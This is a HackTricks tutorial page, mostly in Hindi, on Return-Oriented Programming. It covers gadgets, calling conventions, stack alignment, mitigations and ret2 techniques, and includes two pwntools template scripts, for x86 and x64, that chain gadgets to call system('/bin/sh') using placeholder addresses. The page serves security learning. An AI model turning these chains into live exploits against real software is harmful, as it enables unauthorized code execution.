ROP - Return Oriented Programing
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
Return-Oriented Programming (ROP) एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे No-Execute (NX) या Data Execution Prevention (DEP) को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे "gadgets" कहा जाता है। प्रत्येक gadget आमतौर पर एक ret
निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर मनचाहे ऑपरेशन करने के लिए एक पेलोड तैयार कर सकता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार कर सकता है।
ROP कैसे काम करता है
- नियंत्रण प्रवाह हाईजैकिंग: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाईजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
- Gadget चेनिंग: फिर हमलावर सावधानीपूर्वक इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे,
system("/bin/sh")
), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है। - पेलोड निष्पादन: जब कमजोर फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।
उपकरण
आमतौर पर, gadgets को ROPgadget, ropper या सीधे pwntools (ROP) का उपयोग करके पाया जा सकता है।
x86 उदाहरण में ROP चेन
x86 (32-बिट) कॉलिंग सम्मेलन
- cdecl: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। तर्कों को स्टैक पर दाएं से बाएं धकेला जाता है।
- stdcall: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है।
Gadgets खोजना
पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान कर ली है। जिन gadgets में हमारी रुचि है, वे हैं:
pop eax; ret
: यह gadget स्टैक के शीर्ष मान कोEAX
रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमेंEAX
को नियंत्रित करने की अनुमति मिलती है।pop ebx; ret
: ऊपर के समान, लेकिनEBX
रजिस्टर के लिए, जिससेEBX
पर नियंत्रण प्राप्त होता है।mov [ebx], eax; ret
:EAX
में मान कोEBX
द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर write-what-where gadget कहा जाता है।- इसके अतिरिक्त, हमारे पास
system()
फ़ंक्शन का पता उपलब्ध है।
ROP चेन
pwntools का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य system('/bin/sh')
को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है:
- संरेखण उद्देश्यों के लिए एक
ret
निर्देश (वैकल्पिक) system
फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी के लिए Ret2lib)system()
से लौटने के पते के लिए प्लेसहोल्डर"/bin/sh"
स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- System V AMD64 ABI कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ पहले छह पूर्णांक या पॉइंटर तर्क
RDI
,RSI
,RDX
,RCX
,R8
, औरR9
में पास किए जाते हैं। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मानRAX
में रखा जाता है। - Windows x64 कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए
RCX
,RDX
,R8
, औरR9
का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मानRAX
में रखा जाता है। - Registers: 64-बिट रजिस्टर में
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, औरR8
सेR15
शामिल हैं।
Finding Gadgets
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें RDI रजिस्टर सेट करने की अनुमति देंगे (ताकि system() को तर्क के रूप में "/bin/sh" स्ट्रिंग पास कर सकें) और फिर system() फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
- pop rdi; ret: स्टैक के शीर्ष मान को RDI में पॉप करता है और फिर लौटता है। system() के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
- ret: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी।
और हम system() फ़ंक्शन का पता जानते हैं।
ROP Chain
नीचे pwntools का उपयोग करके एक उदाहरण दिया गया है जो system('/bin/sh') को x64 पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
इस उदाहरण में:
- हम
pop rdi; ret
गैजेट का उपयोग करते हैं ताकिRDI
को"/bin/sh"
के पते पर सेट किया जा सके। - हम
RDI
सेट करने के बाद सीधेsystem()
पर कूदते हैं, जिसमें system() का पता श्रृंखला में होता है। - यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए
ret_gadget
का उपयोग किया जाता है, जो x64 में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।
स्टैक संरेखण
x86-64 ABI सुनिश्चित करता है कि जब call instruction निष्पादित होती है, तो स्टैक 16-बाइट संरेखित होता है। LIBC, प्रदर्शन को अनुकूलित करने के लिए, SSE निर्देशों (जैसे movaps) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि RSP 16 का गुणांक नहीं है), तो ROP श्रृंखला में system जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, बस system को कॉल करने से पहले अपनी ROP श्रृंखला में एक ret gadget जोड़ें।
x86 बनाम x64 मुख्य अंतर
tip
चूंकि x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है, इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। x64 आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान करती हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में।
ARM64 उदाहरण में ROP श्रृंखला
ARM64 मूल बातें और कॉलिंग सम्मेलन
इस जानकारी के लिए निम्नलिखित पृष्ठ देखें:
ROP के खिलाफ सुरक्षा
- ASLR और PIE: ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं।
- स्टैक कैनरीज़: BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले प्वाइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है।
- गैजेट्स की कमी: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा।
ROP आधारित तकनीकें
ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने की एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं:
- Ret2lib: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे
system('/bin/sh')
।
- Ret2Syscall: ROP का उपयोग करके syscall के लिए कॉल तैयार करें, जैसे
execve
, और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं।
- EBP2Ret और EBP चेनिंग: पहला EIP के बजाय EBP का दुरुपयोग करेगा ताकि प्रवाह को नियंत्रित किया जा सके और दूसरा Ret2lib के समान है लेकिन इस मामले में प्रवाह मुख्य रूप से EBP पते के साथ नियंत्रित होता है (हालांकि EIP को भी नियंत्रित करना आवश्यक है)।
Stack Pivoting - EBP2Ret - EBP chaining
अन्य उदाहरण और संदर्भ
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को
vsyscall
पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो उस कार्य के पते का आंशिक ओवरराइट होगा जो ध्वज को लीक करता है - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, कोई ASLR नहीं, स्टैक में शेलकोड पर कूदने और स्टैक को निष्पादित करने के लिए ROP गैजेट
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।